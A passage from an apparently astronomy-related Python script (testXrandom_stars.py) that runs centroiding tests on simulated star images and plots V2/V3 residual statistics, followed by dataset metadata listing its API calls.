new_stars_sample, Tbench_Vs, T_Vs, T_diffVs, LS_res, LS_info]\n results_all_tests.append(results_of_test)\n print ('TEST %s finished. \\n' % (test2perform))\n\n\n if do_plots:\n print ('Generating plots...')\n\n # load the data fom the 3 tests\n for resTest in results_all_tests:\n # unfold variables per centroid window results_all_tests[0][5][s][width]\n case, new_stars_sample, Tbench_Vs, T_Vs, T_diffVs, LS_res, _ = resTest\n nw_stars_sample3, nw_stars_sample5, nw_stars_sample7 = new_stars_sample\n Tbench_V2_3, Tbench_V3_3, Tbench_V2_5, Tbench_V3_5, Tbench_V2_7, Tbench_V3_7 = Tbench_Vs\n TV2_3, TV3_3, TV2_5, TV3_5, TV2_7, TV3_7 = T_Vs\n TdiffV2_3, TdiffV3_3, TdiffV2_5, TdiffV3_5, TdiffV2_7, TdiffV3_7 = T_diffVs\n TLSsigmas_3, TLSsigmas_5, TLSsigmas_7, TLSdeltas_3, TLSdeltas_5, TLSdeltas_7 = LS_res\n\n milliarcsec = True\n if milliarcsec:\n TdiffV2_3 = convert2milliarcsec(TdiffV2_3)\n TdiffV3_3 = convert2milliarcsec(TdiffV3_3)\n TdiffV2_5 = convert2milliarcsec(TdiffV2_5)\n TdiffV3_5 = convert2milliarcsec(TdiffV3_5)\n TdiffV2_7 = convert2milliarcsec(TdiffV2_7)\n TdiffV3_7 = convert2milliarcsec(TdiffV3_7)\n TLSsigmas_3 = convert2milliarcsec(TLSsigmas_3)\n TLSsigmas_5 = convert2milliarcsec(TLSsigmas_5)\n TLSsigmas_7 = convert2milliarcsec(TLSsigmas_7)\n TLSdeltas_3 = convert2milliarcsec(TLSdeltas_3)\n TLSdeltas_5 = convert2milliarcsec(TLSdeltas_5)\n TLSdeltas_7 = convert2milliarcsec(TLSdeltas_7)\n\n # do the plots -> 2 plots per centroid window\n for cwin in xwidth_list:\n cwincase = case+'_CentroidWindow'+repr(cwin)\n\n # Plot to compare the mean values for the 3 tests -- plot only has 3 points\n plot_title = r'Residual Mean Values, $\\mu$'\n xlabel = r'$\\Delta$V2 [marcsec]'\n ylabel = r'$\\Delta$V3 [marcsec]'\n destination = os.path.join(gen_path, 'plots/means_Cwin'+repr(cwin)+'.jpg')\n if cwin == 3:\n s, d, v = 0, 3, 0\n if cwin == 5:\n s, d, v = 1, 4, 2\n if cwin == 7:\n s, d, v = 2, 5, 4\n if len(list_test2perform) != 3:\n T1sigmaV2 = results_all_tests[0][5][s][0] # Test ran sigma V2 value\n T1sigmaV3 = results_all_tests[0][5][s][1] # Test ran sigma V3 value\n T1meanV3 = results_all_tests[0][5][d][1] # Test ran mean V3 value\n T1meanV2 = results_all_tests[0][5][d][0] # Test ran mean V2 value\n if test2perform == \"T1\":\n labels_list = ['Avg in Pixel Space']\n if test2perform == \"T2\":\n labels_list = ['Avg in Sky']\n if test2perform == \"T3\":\n labels_list = ['No Avg']\n arrx = [T1meanV2]\n arry = [T1meanV3]\n print_side_values = [T1sigmaV2, T1meanV2, T1sigmaV3, T1meanV3]\n if len(list_test2perform) == 3:\n T1sigmaV2 = results_all_tests[0][5][s][0] # Test 1 ran sigma V2 value\n T1sigmaV3 = results_all_tests[0][5][s][1] # Test 1 ran sigma V3 value\n T1meanV3 = results_all_tests[0][5][d][1] # Test 1 ran mean V3 value\n T1meanV2 = results_all_tests[0][5][d][0] # Test 1 ran mean V2 value\n T2sigmaV2 = results_all_tests[1][5][s][0] # Test 2\n T2sigmaV3 = results_all_tests[1][5][s][1] # Test 2\n T2meanV2 = results_all_tests[1][5][d][0] # Test 2\n T2meanV3 = results_all_tests[1][5][d][1] # Test 2\n T3sigmaV2 = results_all_tests[2][5][s][0] # Test 3\n T3sigmaV3 = results_all_tests[2][5][s][1] # Test 3\n T3meanV2 = results_all_tests[2][5][d][0] # Test 3\n T3meanV3 = results_all_tests[2][5][d][1] # Test 3\n labels_list = ['Avg in Pixel Space', 'Avg in Sky', 'No Avg']\n arrx = [T1meanV2, T2meanV2, T3meanV2]\n arry = [T1meanV3, T2meanV3, T3meanV3]\n print_side_values = [T1sigmaV2, T1meanV2, T2sigmaV2, T2meanV2, T3sigmaV2, T3meanV2,\n T1sigmaV3, T1meanV3, T2sigmaV3, T2meanV3, T3sigmaV3, T3meanV3]\n print_side_string = ['V2$\\mu$ [marcsec]', 'V3$\\mu$ [marcsec]']\n # determine which one is larger\n if np.abs(T1meanV2) > np.abs(T1meanV3):\n largV = np.abs(T1meanV2)+np.abs(T1meanV2)*0.5\n else:\n largV = np.abs(T1meanV3)+np.abs(T1meanV3)*0.5\n xlims, ylims = [-1*largV, largV], [-1*largV, largV]\n\n vp.make_plot(cwincase, arrx, arry, xlabel, ylabel, plot_title=plot_title,\n labels_list=labels_list, xlims=xlims, ylims=ylims,\n print_side_string=print_side_string, print_side_values=print_side_values,\n save_plot=save_plots, show_plot=show_plots, destination=destination)\n\n\n # Graphical display of the standard deviation\n plot_title = r'Graphical Display of the Standard Deviation, $\\sigma$'\n destination = os.path.join(gen_path, 'plots/V2V3_Cwin'+repr(cwin)+'.jpg')\n if len(list_test2perform) == 3:\n arrx = [results_all_tests[0][4][v], results_all_tests[1][4][v], results_all_tests[2][4][v]]\n arry = [results_all_tests[0][4][v+1], results_all_tests[1][4][v+1], results_all_tests[2][4][v+1]]\n # determine which one is larger\n maxx = max(np.abs(results_all_tests[2][4][v]))\n maxy = max(np.abs(results_all_tests[2][4][v+1]))\n new_stars_sample = [results_all_tests[0][1][s], results_all_tests[1][1][s], results_all_tests[2][1][s]]\n else:\n arrx = [results_all_tests[0][4][v]]\n arry = [results_all_tests[0][4][v+1]]\n # determine which one is larger\n maxx = max(np.abs(results_all_tests[0][4][v]))\n maxy = max(np.abs(results_all_tests[0][4][v+1]))\n new_stars_sample = [results_all_tests[0][1][s]]\n if maxx > maxy:\n largsig = maxx + maxx*0.5\n else:\n largsig = maxy + maxy*0.5\n xlims, ylims = [-1*largsig, largsig], [-1*largsig, largsig]\n vp.make_plot(cwincase, arrx, arry, xlabel, ylabel, plot_title=plot_title,\n labels_list=labels_list, xlims=xlims, ylims=ylims,\n print_side_string=print_side_string, print_side_values=print_side_values,\n save_plot=save_plots, show_plot=show_plots, destination=destination,\n star_sample=new_stars_sample)\n\n return results_all_tests\n\n\n\n#######################################################################################################################\n\n\n### CODE\n\nif __name__ == '__main__':\n\n\n # SET PRIMARY PARAMETERS\n do_plots = True # 1. Least squares plot in V2/V3 space showing the true position (0,0)\n # and the mean of the three calculation cases: Averaging in pixel space,\n # averaging on sky, and no averaging : True or False\n # 2. Same plot but instead of the mean show all stars in one 20star calculation\n save_plots = False # Save the plots? True or False\n show_plots = True # Show the plots? True or False\n detector = 'both' # Integer (491 or 492) OR string, 'both' to select stars from both detectors\n output_full_detector = True # Give resulting coordinates in terms of full detector: True or False\n show_onscreen_results = True # Want to show on-screen resulting V2s, V3s and statistics? True or False\n show_pixpos_and_v23_plots = False # Show the plots of x-y and v2-v3 residual positions?\n save_text_file = False # Want to save the text file of comparison? True or False\n save_centroid_disp = False # Save the display with measured and true positions?\n keep_bad_stars = False # Keep the bad stars in the sample (both positions measured wrong)? True or False\n keep_ugly_stars = True # Keep the ugly stars (one position measured wrong)? True or False\n perform_abs_threshold = False # Perform abs_threshold routine (True) or only perform least squares routine (False)\n stars_in_sample = 5 # Number of stars in sample (165 for all good and uglies)\n scene = 1 # Integer or string, scene=1 is constant Mag 23, scene=2 is stars with Mag 18-23\n background_method = 'frac' # Select either 'fractional', 'fixed', or None\n background2use = 0.3 # Background to use for analysis: None or float\n shutters = \"rapid\" # Shutter velocity, string: \"rapid\" or \"slow\"\n noise = \"real\" # Noise level, string: \"nonoise\" or \"real\"\n filter_input = \"F140X\" # Filter, string: for now only test case is \"F140X\"\n test2perform = \"all\" # Test to perform, string: \"all\", \"T1\", \"T2\", \"T3\" for test 1, 2, and 3, respectively\n Nsigma = 2.5 # N-sigma rejection of bad stars: integer or float\n abs_threshold = 0.32 # threshold to reject points after each iteration of least squares routine, default=0.32\n min_elements = 4 # minimum number of elements in the absolute threshold least squares routine, default=4\n max_iters_Nsig = 10 # Max number of iterations for N-sigma function: integer\n\n # SET SECONDARY PARAMETERS THAT CAN BE ADJUSTED\n checkbox_size = 3 # Real checkbox size\n xwidth_list = [3, 5, 7] # Number of rows of the centroid region\n ywidth_list = [3, 5, 7] # Number of columns of the centroid region\n vlim = (1, 100) # Sensitivity limits of image, i.e. (0.001, 0.1)\n threshold = 0.01 # Convergence threshold of accepted difference between checkbox centroid and coarse location\n max_iter = 10 # Maximum number of iterations for finding coarse location\n verbose = False # Show some debug messages (i.e. resulting calculations)\n debug = False # See all debug messages (i.e. values of variables and calculations)\n arcsecs = True # Final units in arcsecs? True or False (=degrees)\n determine_moments = False # Want to determine 2nd and 3rd moments?\n display_master_img = False # Want to see the combined ramped images for every star?\n show_centroids = False # Print measured centroid on screen: True or False\n show_disp = False # Show display of resulting positions? (will show 2 figs, same but different contrast)\n Pier_corr = True # Include Pier's corrections to measured positions\n tilt = False # Tilt angle: True or False\n backgnd_subtraction_method = 1 # 1 = Do background subtraction on final image (after subtracting 3-2 and 2-1),\n # before converting negative values into zeros\n # 2 = Do background subtraction on 3-2 and 2-1 individually\n # None = Do not subtract background\n\n random_sample = False # choose a random sample of stars from either detector: True or False\n # control samples to be used when random is set to False\n #stars_sample = [1, 10, 23, 29, 33, 47, 61, 67, 95, 100, 107, 128, 133, 139, 151, 171, 190, 194, 195, 198]\n #stars_sample = [9, 20, 32, 48, 65, 69, 82, 83, 93, 98, 99, 107, 111, 126, 128, 136, 172, 176, 196, 198] #all good stars\n #stars_sample = [3, 26, 32, 38, 46, 48, 51, 65, 75, 84, 92, 96, 121, 122, 132, 133, 160, 174, 186, 194]\n #stars_sample = [3, 8, 9, 32, 38, 65, 96, 128, 132, 133, 136, 143, 145, 147, 160, 175, 178, 191, 193, 194] #all good stars\n #stars_sample = [32, 41, 49, 64, 65, 68, 84, 96, 99, 104, 131, 167, 175, 182, 192, 194, 195, 196, 197, 198]# all good\n #stars_sample = [2, 4, 5, 6, 11, 32, 38, 47, 81, 127, 129, 136, 138, 141, 160, 163, 166, 171, 174, 179] #* all good\n #stars_sample = [6, 18, 41, 49, 66, 75, 84, 93, 97, 99, 108, 110, 134, 140, 151, 160, 164, 175, 186, 200]# VERY good!\n #stars_sample = [15, 20, 43, 46, 47, 57, 62, 69, 71, 83, 86, 87, 90, 106, 121, 168, 179, 182, 185, 194]\n #stars_sample = [4, 42, 44, 69, 76, 96, 97, 99, 102, 114, 116, 128, 129, 130, 132, 142, 167, 176, 193, 194] # good to show bads\n stars_sample = [1, 128, 130, 131, 196]\n #stars_sample = [1, 35, 128, 130, 164]\n #stars_sample = [3, 4, 8, 32, 139]\n #stars_sample = [32, 33, 104, 188, 199]\n #stars_sample = [3, 32, 33, 133, 162]\n #stars_sample = [16, 22, 29, 50, 108]\n #stars_sample = [2, 5, 15, 46, 154, 156, 163]\n #stars_sample = [5, 80, 116, 130, 135]#, 17, 31, 113, 182]\n #stars_sample = [8, 11, 27, 44, 90]\n #stars_sample = [12, 21, 32, 54, 77]\n ##stars_sample = [22, 90, 108, 126, 145]\n #stars_sample = [101, 110, 121, 133, 200]\n #stars_sample = [111, 120, 142, 173, 180]\n #stars_sample = [10, 32, 33, 35, 42, 47, 52, 70, 73, 77, 100, 128, 130, 135, 136, 137, 141, 147, 179, 192] # all good stars *\n #stars_sample = [8, 33, 37, 38, 44, 50, 51, 54, 63, 98, 99, 109, 114, 127, 138, 139, 162, 163, 171, 186]\n #stars_sample = [3, 16, 35, 36, 39, 64, 65, 70, 73, 90, 111, 122, 129, 134, 136, 154, 165, 183, 194, 196]\n #stars_sample = [2, 4, 6, 11, 36, 38, 43, 98, 102, 109, 110, 141, 149, 160, 161, 163, 165, 173, 174, 177]\n #stars_sample = [5, 7, 8, 12, 33, 37, 40, 101, 108, 109, 111, 151, 159, 162, 166, 167, 169, 170, 175, 187]\n # bad samples:\n #stars_sample = [7, 24, 51, 56, 66, 68, 71, 72, 74, 91, 106, 109, 120, 125, 127, 128, 138, 154, 187, 188]\n #stars_sample = [8, 9, 20, 21, 39, 40, 46, 54, 58, 76, 78, 87, 88, 121, 134, 146, 150, 167, 179, 180]\n # OLNY detector 491\n #stars_sample = [101, 105, 108, 109, 111, 113, 114, 133, 136, 147, 150, 157, 158, 161, 181, 184, 185, 186, 194, 199]\n #stars_sample = [101, 104, 105, 112, 117, 118, 133, 135, 136, 140, 145, 151, 152, 157, 159, 161, 174, 178, 184, 200]\n #stars_sample = [109, 114, 128, 135, 136, 145, 149, 153, 160, 166, 171, 174, 176, 177, 193, 194, 195, 198, 199, 200]\n #stars_sample = [101, 102, 104, 107, 117, 128, 130, 131, 132, 135, 136, 137, 141, 154, 167, 184, 185, 186, 187, 193]#*\n # ONLY detector 492\n ##stars_sample = [8, 11, 19, 24, 30, 37, 39, 41, 48, 51, 55, 65, 73, 85, 87, 88, 90, 91, 93, 98]\n #stars_sample = [2, 4, 8, 10, 11, 22, 25, 28, 33, 37, 54, 64, 68, 76, 80, 89, 96, 97, 99, 100]\n # all stars of one detector or both\n #stars_sample = [s+1 for s in range(200)]\n # Known bad stars in X and Y: 103, 105, 106, 112, 134, 152, 156, 170, 188\n #6, 23, 50, 55, 65, 67, 70, 71, 73, 90, 105, 108, 119, 124, 126, 127, 137, 153, 186, 187\n\n\n\n ######################################################\n\n ### CODE\n\n continue_code = True\n if not perform_abs_threshold and min_elements!=4:\n print ('***** You are running the code with min_elements =', min_elements, ' and No absolute threshold, ')\n continue_code = raw_input(' Do you wish to continue? y [n]')\n if continue_code == 'y':\n raw_input('Ok, continuing... but the output files will not have a marker to know the number of minimum '\n 'elements allowed in the absolute threshold routine. Press enter')\n else:\n exit()\n\n # start the timer to compute the whole running time\n start_time = time.time()\n\n # make sure that bad stars are gone if ugly stars are to be gone as well\n if not keep_ugly_stars:\n keep_bad_stars = False\n\n # Set variable as it appears defined in function\n if perform_abs_threshold:\n just_least_sqares = False # Only perform least squares routine = True, perform abs_threshold routine = False\n else:\n just_least_sqares = True\n\n # set paths\n gen_path = os.path.abspath('../resultsXrandomstars')\n path4results = \"../resultsXrandomstars/\"\n\n # Compact variables\n primary_params1 = [do_plots, save_plots, show_plots, detector, output_full_detector, show_onscreen_results,\n show_pixpos_and_v23_plots, save_text_file]\n primary_params2 = [save_centroid_disp, keep_bad_stars, keep_ugly_stars, just_least_sqares, stars_in_sample,\n scene, background_method, background2use]\n primary_params3 = [shutters, noise, filter_input, test2perform, Nsigma, abs_threshold, abs_threshold, min_elements,\n max_iters_Nsig]\n primary_params = [primary_params1, primary_params2, primary_params3]\n secondary_params1 = [checkbox_size, xwidth_list, ywidth_list, vlim, threshold, max_iter, verbose]\n secondary_params2 = [debug, arcsecs, determine_moments, display_master_img, show_centroids, show_disp]\n secondary_params3 = [Pier_corr, tilt, backgnd_subtraction_method, random_sample]\n secondary_params = [secondary_params1, secondary_params2, secondary_params3]\n\n\n # Run main function of script\n extra_string = None\n results_all_tests = run_testXrandom_stars(stars_sample, primary_params, secondary_params, path4results,\n gen_path, extra_string)\n\n\n\n '''\n common3files = '_results_'+case+'.txt'\n test_fileT1 = os.path.join(gen_path, 'T1'+common3files)\n test_fileT2 = os.path.join(gen_path, 'T2'+common3files)\n test_fileT3 = os.path.join(gen_path, 'T3'+common3files)\n txt_files = [test_fileT1, test_fileT2, test_fileT3]\n T1V2_3, T1V3_3, T1V2_5, T1V3_5, T1V2_7, T1V3_7, T1TrueV2, T1TrueV3 = np.loadtxt(test_fileT1, comments='#',\n usecols=(2,3,4,5,6,7,8,9), unpack=True)\n T2V2_3, T2V3_3, T2V2_5, T2V3_5, T2V2_7, T2V3_7, T2TrueV2, T2TrueV3 = np.loadtxt(test_fileT2, comments='#',\n usecols=(2,3,4,5,6,7,8,9), unpack=True)\n T3V2_3, T3V3_3, T3V2_5, T3V3_5, T3V2_7, T3V3_7, T3TrueV2, T3TrueV3 = np.loadtxt(test_fileT3, comments='#',\n usecols=(2,3,4,5,6,7,8,9), unpack=True)\n # for test3 we only compare to position 1 because this is how the cutouts were made in order to see the shift\n\n ls_dataTESTS = []\n for i, Tfile in enumerate(txt_files):\n ls_data = prs.load_rejected_stars(Tfile)\n ls_dataTESTS.append(ls_data) # ls_dataTESTS = list of 3 dictionaries, one per file\n # (each dictionay contains 3 dictionaries, one per centroid window,\n # the keyes per centroid window are: detla_theta, delta_x, delta_y,\n # elements_left, iteration, sigma_theta, sigma_x, and sigma_y. For the\n # dictionary of one of the text files, to access centroid 5, iterations\n # type: ls_data['5']['iterations']\n\n\n # do the plots -> 2 plots per centroid window\n for cwin in xwidth_list:\n cwincase = case+'_CentroidWindow'+repr(cwin)\n\n # Plot to compare the mean values for the 3 tests -- plot only has 3 points\n plot_title = r'Residual Mean Values, $\\mu$'\n xlabel = r'$\\Delta$V2 [marcsec]'\n ylabel = r'$\\Delta$V3 [marcsec]'\n destination = os.path.join(gen_path, 'plots/means_Cwin'+repr(cwin)+'.jpg')\n T1sigmaV2 = ls_dataTESTS[0][str(cwin)]['sigma_x'] # Test 1 sigma V2 value\n T2sigmaV2 = ls_dataTESTS[1][str(cwin)]['sigma_x'] # Test 2\n T3sigmaV2 = ls_dataTESTS[2][str(cwin)]['sigma_x'] # Test 3\n T1sigmaV3 = ls_dataTESTS[0][str(cwin)]['sigma_y'] # Test 1 sigma V3 value\n T2sigmaV3 = ls_dataTESTS[1][str(cwin)]['sigma_y'] # Test 2\n T3sigmaV3 = ls_dataTESTS[2][str(cwin)]['sigma_y'] # Test 3\n T1meanV2 = ls_dataTESTS[0][str(cwin)]['delta_x'] # Test 1 mean V2 value\n T2meanV2 = ls_dataTESTS[1][str(cwin)]['delta_x'] # Test 2\n T3meanV2 = ls_dataTESTS[2][str(cwin)]['delta_x'] # Test 3\n T1meanV3 = ls_dataTESTS[0][str(cwin)]['delta_y'] # Test 1 mean V3 value\n T2meanV3 = ls_dataTESTS[1][str(cwin)]['delta_y'] # Test 2\n T3meanV3 = ls_dataTESTS[2][str(cwin)]['delta_y'] # Test 3\n arrx = [T1meanV2*1000.0, T2meanV2*1000.0, T3meanV2*1000.0]\n arry = [T1meanV3*1000.0, T2meanV3*1000.0, T3meanV3*1000.0]\n labels_list = ['Avg in Pixel Space', 'Avg in Sky', 'No Avg']\n print_side_string = ['V2$\\mu$ [marcsec]', 'V3$\\mu$ [marcsec]']\n print_side_values = [T1sigmaV2*1000.0, T1sigmaV3*1000.0,\n T2sigmaV2*1000.0, T2sigmaV3*1000.0,\n T3sigmaV2*1000.0, T3sigmaV3*1000.0,\n T1meanV2*1000.0, T1meanV3*1000.0,\n T2meanV2*1000.0, T2meanV3*1000.0,\n T3meanV2*1000.0, T3meanV3*1000.0]\n xlims = [-5.0, 5.0]\n ylims = [-5.0, 5.0]\n vp.make_plot(cwincase, arrx, arry, xlabel, ylabel, plot_title=plot_title,\n labels_list=labels_list, xlims=xlims, ylims=ylims,\n print_side_string=print_side_string, print_side_values=print_side_values,\n save_plot=save_plots, show_plot=show_plots, destination=destination)\n\n # Graphical display of the standard deviation\n plot_title = r'Graphical Display of the Standard Deviation, $\\sigma$'\n destination = os.path.join(gen_path, 'plots/V2V3_Cwin'+repr(cwin)+'.jpg')\n if cwin == 3:\n T1V2, T2V2, T3V2 = T1V2_3-T1TrueV2, T2V2_3-T2TrueV2, T3V2_3-T3TrueV2\n T1V3, T2V3, T3V3 = T1V3_3-T1TrueV3, T2V3_3-T2TrueV3, T3V3_3-T3TrueV3\n elif cwin == 5:\n T1V2, T2V2, T3V2 = T1V2_5-T1TrueV2, T2V2_5-T2TrueV2, T3V2_5-T3TrueV2\n T1V3, T2V3, T3V3 = T1V3_5-T1TrueV3, T2V3_5-T2TrueV3, T3V3_5-T3TrueV3\n elif cwin == 7:\n T1V2, T2V2, T3V2 = T1V2_7-T1TrueV2, T2V2_7-T2TrueV2, T3V2_7-T3TrueV2\n T1V3, T2V3, T3V3 = T1V3_7-T1TrueV3, T2V3_7-T2TrueV3, T3V3_7-T3TrueV3\n arrx = [T1V2, T2V2, T3V2]\n arry = [T1V3, T2V3, T3V3]\n xlims = [-20., 20.]\n ylims = [-20., 20.]\n vp.make_plot(cwincase, arrx, arry, xlabel, ylabel, plot_title=plot_title,\n labels_list=labels_list, xlims=xlims, ylims=ylims,\n print_side_string=print_side_string, print_side_values=print_side_values,\n save_plot=save_plots, show_plot=show_plots, destination=destination,\n star_sample=stars_sample)\n '''\n\n print (\"\\n Script 'testXrandom_stars.py' finished! Took %s seconds to finish. \\n\" % (time.time() - start_time))\n", "sub_path": "testXrandom_stars.py", "file_name": "testXrandom_stars.py", "file_ext": "py", "file_size_in_byte": 82025, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "random.choice", "line_number": 139, "usage_type": "call"}, {"api_name": "TA_functions.remove_bad_stars", "line_number": 145, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 147, "usage_type": "call"}, {"api_name": "TA_functions.remove_bad_stars", "line_number": 152, "usage_type": "call"}, {"api_name": "TA_functions.read_star_param_files", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 197, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 204, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 208, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 209, "usage_type": "call"}, {"api_name": "TA_functions.remove_bad_stars", "line_number": 263, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 266, "usage_type": "call"}, {"api_name": "TA_functions.remove_bad_stars", "line_number": 270, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 335, "usage_type": "call"}, {"api_name": "os.path", "line_number": 335, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 341, "usage_type": "call"}, {"api_name": "os.path", "line_number": 341, "usage_type": "attribute"}, {"api_name": "TA_functions.get_raw_star_directory", "line_number": 347, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 350, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 351, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 352, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 353, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 359, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 359, "usage_type": "call"}, {"api_name": "os.path", "line_number": 359, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 362, "usage_type": "call"}, {"api_name": "os.path", "line_number": 362, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 368, "usage_type": "call"}, {"api_name": "os.path", "line_number": 368, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 370, "usage_type": "call"}, {"api_name": "os.path", "line_number": 370, "usage_type": "attribute"}, {"api_name": "astropy.io.fits.getdata", "line_number": 394, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 394, "usage_type": "name"}, {"api_name": "numpy.shape", "line_number": 396, "usage_type": "call"}, {"api_name": "TA_functions.readimage", "line_number": 399, "usage_type": "call"}, {"api_name": "TA_functions.run_recursive_centroids", "line_number": 401, "usage_type": "call"}, {"api_name": "TA_functions.centroid2fulldetector", "line_number": 405, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 418, "usage_type": "call"}, {"api_name": "os.path", "line_number": 418, "usage_type": "attribute"}, {"api_name": "TA_functions.readimage", "line_number": 422, "usage_type": "call"}, {"api_name": "TA_functions.display_centroids", "line_number": 424, "usage_type": "call"}, {"api_name": "TA_functions.centroid2fulldetector", "line_number": 428, "usage_type": "call"}, {"api_name": "TA_functions.display_centroids", "line_number": 443, "usage_type": "call"}, {"api_name": "TA_functions.get_mindiff", "line_number": 446, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 456, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 457, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 458, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 459, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 460, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 461, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 463, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 464, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 465, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 466, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 467, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 468, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 479, "usage_type": "call"}, {"api_name": "os.path", "line_number": 479, "usage_type": "attribute"}, {"api_name": "TA_functions.writePixPos", "line_number": 481, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 525, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 525, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 528, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 528, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 529, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 529, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 530, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 530, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 552, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 552, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 553, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 553, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hlines", "line_number": 554, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 554, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.vlines", "line_number": 555, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 555, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 557, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 557, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 558, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 558, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 559, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 559, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 560, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 560, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 561, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 561, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 562, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 562, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.annotate", "line_number": 575, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 575, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.annotate", "line_number": 582, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 582, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 583, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 583, "usage_type": "name"}, {"api_name": "TA_functions.runTEST", "line_number": 639, "usage_type": "call"}, {"api_name": "TA_functions.get_stats", "line_number": 646, "usage_type": "call"}, {"api_name": "TA_functions.runTEST", "line_number": 657, "usage_type": "call"}, {"api_name": "TA_functions.get_stats", "line_number": 664, "usage_type": "call"}, {"api_name": "TA_functions.runTEST", "line_number": 675, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 697, "usage_type": "call"}, {"api_name": "TA_functions.combine2arrays", "line_number": 698, "usage_type": "call"}, {"api_name": "TA_functions.combine2arrays", "line_number": 699, "usage_type": "call"}, {"api_name": "TA_functions.combine2arrays", "line_number": 700, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 701, "usage_type": "call"}, {"api_name": "TA_functions.combine2arrays", "line_number": 702, "usage_type": "call"}, {"api_name": "TA_functions.combine2arrays", "line_number": 703, "usage_type": "call"}, {"api_name": "TA_functions.combine2arrays", "line_number": 704, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 705, "usage_type": "call"}, {"api_name": "TA_functions.combine2arrays", "line_number": 706, "usage_type": "call"}, {"api_name": "TA_functions.combine2arrays", "line_number": 707, "usage_type": "call"}, {"api_name": "TA_functions.combine2arrays", "line_number": 708, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 709, "usage_type": "call"}, {"api_name": "TA_functions.combine2arrays", "line_number": 710, "usage_type": "call"}, {"api_name": 